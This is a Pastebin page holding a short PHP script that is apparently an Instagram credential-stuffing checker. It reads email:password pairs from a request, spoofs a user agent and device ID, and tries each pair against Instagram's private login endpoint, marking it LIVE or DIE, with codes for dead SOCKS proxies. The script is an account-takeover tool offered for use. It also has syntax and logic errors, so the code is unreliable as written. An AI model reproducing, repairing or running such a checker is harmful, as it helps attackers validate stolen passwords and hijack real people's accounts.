Advertisement
hanungpr

Untitled

Dec 21st, 2016
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.16 KB | None | 0 0
  1. <?php
  2. /*
  3. 1: NOTICE
  4. -1: UNCHECK
  5. 2: DIE
  6. 3: BAD/SOCKS DIE
  7. 0: LIVE
  8. */
  9. date_default_timezone_set("Asia/Jakarta");
  10. // function
  11. require_once 'includes/funsi.php';
  12.  
  13. // info data
  14. $empass = $_REQUEST['mailpass'];
  15. if (!isset($empass)) {
  16. header('location: ./');
  17. exit;
  18. }
  19. $delim = $_REQUEST['delim'];
  20. //$timeout = 10;
  21. list($email,$pwd) = explode($delim, $empass);
  22. $username = explode('@', $email);
  23. $result = array();
  24.  
  25. $ua = generate_useragent();
  26. $devid = generate_device_id();
  27. $login = proccess(1, $ua, 'accounts/login/', 0, hook('{"device_id":"'.$devid.'","guid":"'.generate_guid().'","username":"'.$username.'","password":"'.$pwd'","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}'));
  28. $data = json_decode($login[1]);
  29. if($data->status<>ok)
  30. $result["error"] = 2;
  31. $result["msg"] = '<b style="color:red">DIE</b> | '.$username.' | '.$pwd;
  32. else{
  33. $result["error"] = 0;
  34. $live = '<b style="color:green">LIVE</b> | '.$username.' | '.$pwd.' | [Instagram] | Checked at '.date("d/m/Y g:i A").' #HanungGanteng';
  35. $result["msg"] = $live;
  36. }
  37. echo json_encode($result);
  38. @unlink($cookie);
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement